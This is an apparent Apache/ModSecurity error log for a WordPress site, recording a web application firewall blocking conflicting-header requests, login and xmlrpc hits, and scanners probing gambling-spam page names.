[Sat May 23 23:39:49.481437 2026] [:error] [pid 30941:tid 30985] [client 162.14.109.170:47750] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahHKRXTIgjSDhiZmvlUucgAAAEk"]
[Sun May 24 02:18:09.131151 2026] [autoindex:error] [pid 25876:tid 25899] [client 20.89.64.143:56138] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 24 02:30:23.372321 2026] [:error] [pid 30940:tid 30967] [client 65.108.125.120:54368] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "ahHyP5qUP2XZmzp7RDo0DAAAABI"]
[Sun May 24 02:30:25.309798 2026] [:error] [pid 31039:tid 31053] [client 65.108.125.120:54384] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "ahHyQaIYDYo8WvA5zLJ0eAAAAMw"]
[Sun May 24 02:30:27.337864 2026] [:error] [pid 44326:tid 44356] [client 65.108.125.120:54394] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ahHyQ8yrPrcAqE-FOKL7fQAAAcE"]
[Sun May 24 02:30:29.245495 2026] [:error] [pid 44326:tid 44364] [client 65.108.125.120:8272] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ahHyRcyrPrcAqE-FOKL7ggAAAck"]
[Sun May 24 02:30:31.254191 2026] [:error] [pid 44296:tid 44322] [client 65.108.125.120:8286] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ahHyR5drUdFI6ijvMknLcgAAAVg"]
[Sun May 24 02:30:33.272315 2026] [:error] [pid 30942:tid 31003] [client 65.108.125.120:8294] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ahHySdUosz64YFiBlG2g2AAAAIA"]
[Sun May 24 02:30:35.292519 2026] [:error] [pid 30941:tid 30985] [client 65.108.125.120:8306] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ahHyS3TIgjSDhiZmvlVllQAAAEk"]
[Sun May 24 02:30:37.176848 2026] [:error] [pid 31039:tid 31049] [client 65.108.125.120:8320] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ahHyTaIYDYo8WvA5zLJ0fwAAAMg"]
[Sun May 24 02:30:39.192083 2026] [:error] [pid 44296:tid 44308] [client 65.108.125.120:13590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ahHyT5drUdFI6ijvMknLhQAAAUo"]
[Sun May 24 02:30:41.209008 2026] [:error] [pid 44296:tid 44313] [client 65.108.125.120:13598] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "ahHyUZdrUdFI6ijvMknLjQAAAU8"]
[Sun May 24 02:30:43.108930 2026] [:error] [pid 44296:tid 44307] [client 65.108.125.120:13614] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "ahHyU5drUdFI6ijvMknLlgAAAUk"]
[Sun May 24 02:30:45.130850 2026] [:error] [pid 44325:tid 44333] [client 65.108.125.120:13618] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "ahHyVVgUQb4puB_2yV9ubQAAAYU"]
[Sun May 24 02:30:47.055013 2026] [:error] [pid 30942:tid 31024] [client 65.108.125.120:13634] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "ahHyV9Uosz64YFiBlG2g2wAAAJU"]
[Sun May 24 02:30:49.086198 2026] [:error] [pid 25876:tid 25879] [client 65.108.125.120:22592] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "ahHyWQSpWUCKPezIBJDiDgAAAQE"]
[Sun May 24 02:30:50.941701 2026] [:error] [pid 44326:tid 44376] [client 65.108.125.120:22608] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "ahHyWsyrPrcAqE-FOKL7lQAAAdU"]
[Sun May 24 02:30:52.984559 2026] [:error] [pid 31039:tid 31058] [client 65.108.125.120:22612] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "ahHyXKIYDYo8WvA5zLJ0jgAAANE"]
[Sun May 24 02:30:54.877104 2026] [:error] [pid 31039:tid 31051] [client 65.108.125.120:22614] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "ahHyXqIYDYo8WvA5zLJ0kgAAAMo"]
[Sun May 24 02:30:56.777381 2026] [:error] [pid 30942:tid 31005] [client 65.108.125.120:22616] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "ahHyYNUosz64YFiBlG2g4QAAAII"]
[Sun May 24 02:30:58.761355 2026] [:error] [pid 25876:tid 25887] [client 65.108.125.120:56316] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "ahHyYgSpWUCKPezIBJDiGQAAAQk"]
[Sun May 24 02:31:00.613618 2026] [:error] [pid 31039:tid 31048] [client 65.108.125.120:56326] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ahHyZKIYDYo8WvA5zLJ0kwAAAMc"]
[Sun May 24 02:31:02.513295 2026] [:error] [pid 30942:tid 31014] [client 65.108.125.120:56342] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ahHyZtUosz64YFiBlG2g4gAAAIs"]
[Sun May 24 02:31:04.563293 2026] [:error] [pid 30941:tid 30982] [client 65.108.125.120:56348] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ahHyaHTIgjSDhiZmvlVlqwAAAEY"]
[Sun May 24 02:31:06.595909 2026] [:error] [pid 25876:tid 25887] [client 65.108.125.120:56350] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ahHyagSpWUCKPezIBJDiIAAAAQk"]
[Sun May 24 02:31:08.706668 2026] [:error] [pid 31039:tid 31043] [client 65.108.125.120:19994] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ahHybKIYDYo8WvA5zLJ0lgAAAMI"]
[Sun May 24 02:31:10.763273 2026] [:error] [pid 25876:tid 25898] [client 65.108.125.120:20002] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ahHybgSpWUCKPezIBJDiIQAAARQ"]
[Sun May 24 02:31:12.691978 2026] [:error] [pid 31039:tid 31042] [client 65.108.125.120:20014] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ahHycKIYDYo8WvA5zLJ0mwAAAME"]
[Sun May 24 02:31:14.617768 2026] [:error] [pid 25876:tid 25879] [client 65.108.125.120:20026] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ahHycgSpWUCKPezIBJDiJAAAAQE"]
[Sun May 24 02:31:16.518319 2026] [:error] [pid 44296:tid 44304] [client 65.108.125.120:20030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ahHydJdrUdFI6ijvMknLqgAAAUY"]
[Sun May 24 02:31:18.465917 2026] [:error] [pid 30942:tid 31009] [client 65.108.125.120:58724] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ahHydtUosz64YFiBlG2g7gAAAIY"]
[Sun May 24 03:15:49.953981 2026] [:error] [pid 30941:tid 30987] [client 43.156.47.42:49180] [client 43.156.47.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahH85XTIgjSDhiZmvlVt_wAAAEs"]
[Sun May 24 04:07:44.887162 2026] [:error] [pid 58521:tid 58531] [client 45.133.176.53:22421] [client 45.133.176.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahIJEGu03QVCX-cF2G-56AAAAQg"]
[Sun May 24 04:47:43.331351 2026] [:error] [pid 58918:tid 58929] [client 43.130.174.37:44244] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahISb6T5tvv40jh4HYbyrAAAAYk"]
[Sun May 24 05:53:11.221381 2026] [:error] [pid 58918:tid 58942] [client 5.175.229.251:21525] [client 5.175.229.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.175.229.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahIhx6T5tvv40jh4HYYHsQAAAZY"], referer: https://www.google.com/
[Sun May 24 08:54:56.020378 2026] [:error] [pid 58918:tid 58942] [client 81.167.26.57:56021] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahJMYKT5tvv40jh4HYZEcAAAAZY"]
[Sun May 24 08:54:58.002445 2026] [:error] [pid 50872:tid 50914] [client 81.167.26.57:22743] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahJMYkbX_GQ5p_34ISZrUQAAAEE"]
[Sun May 24 08:55:00.018332 2026] [:error] [pid 50978:tid 51007] [client 81.167.26.57:49729] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ahJMZCu0qFnUKJJuyO6bqwAAANQ"]
[Sun May 24 08:55:02.017291 2026] [:error] [pid 58797:tid 58823] [client 81.167.26.57:25537] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ahJMZvzoIKLVypLB5NhMRQAAAVc"]
[Sun May 24 08:55:04.011721 2026] [:error] [pid 50872:tid 50915] [client 81.167.26.57:48465] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ahJMaEbX_GQ5p_34ISZrWwAAAEI"]
[Sun May 24 08:55:07.054151 2026] [:error] [pid 50871:tid 50900] [client 81.167.26.57:53001] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ahJMa-cdOvA3ACH24leuawAAABM"]
[Sun May 24 08:55:08.982720 2026] [:error] [pid 58797:tid 58809] [client 81.167.26.57:58446] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ahJMbPzoIKLVypLB5NhMTgAAAUk"]
[Sun May 24 08:55:10.958769 2026] [:error] [pid 50873:tid 50945] [client 81.167.26.57:49366] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ahJMbulYxsqwDcWZbhLjFQAAAIU"]
[Sun May 24 08:55:13.010118 2026] [:error] [pid 50978:tid 50989] [client 81.167.26.57:61358] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ahJMcSu0qFnUKJJuyO6brQAAAMQ"]
[Sun May 24 08:55:15.020012 2026] [:error] [pid 50873:tid 50953] [client 81.167.26.57:3379] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ahJMc-lYxsqwDcWZbhLjFwAAAI0"]
[Sun May 24 08:55:17.032352 2026] [:error] [pid 50872:tid 50933] [client 81.167.26.57:43747] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ahJMdUbX_GQ5p_34ISZrYgAAAFQ"]
[Sun May 24 08:55:19.046500 2026] [:error] [pid 50873:tid 50941] [client 81.167.26.57:62370] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahJMd-lYxsqwDcWZbhLjGwAAAIE"]
[Sun May 24 08:55:21.031990 2026] [:error] [pid 58797:tid 58818] [client 81.167.26.57:28320] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ahJMefzoIKLVypLB5NhMUgAAAVI"]
[Sun May 24 08:55:22.869639 2026] [:error] [pid 58521:tid 58530] [client 81.167.26.57:35447] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ahJMemu03QVCX-cF2G_z8AAAAQc"]
[Sun May 24 08:55:24.839843 2026] [:error] [pid 50873:tid 50956] [client 81.167.26.57:56347] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ahJMfOlYxsqwDcWZbhLjHwAAAJA"]
[Sun May 24 08:55:26.689209 2026] [:error] [pid 58521:tid 58544] [client 81.167.26.57:8355] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ahJMfmu03QVCX-cF2G_z-QAAARU"]
[Sun May 24 08:55:28.680591 2026] [:error] [pid 58918:tid 58940] [client 81.167.26.57:12736] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ahJMgKT5tvv40jh4HYZEegAAAZQ"]
[Sun May 24 08:55:30.535656 2026] [:error] [pid 58918:tid 58936] [client 81.167.26.57:29668] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ahJMgqT5tvv40jh4HYZEewAAAZA"]
[Sun May 24 08:55:32.516587 2026] [:error] [pid 58797:tid 58814] [client 81.167.26.57:19724] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ahJMhPzoIKLVypLB5NhMYwAAAU4"]
[Sun May 24 08:55:34.339512 2026] [:error] [pid 50871:tid 50903] [client 81.167.26.57:40445] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ahJMhucdOvA3ACH24leudgAAABY"]
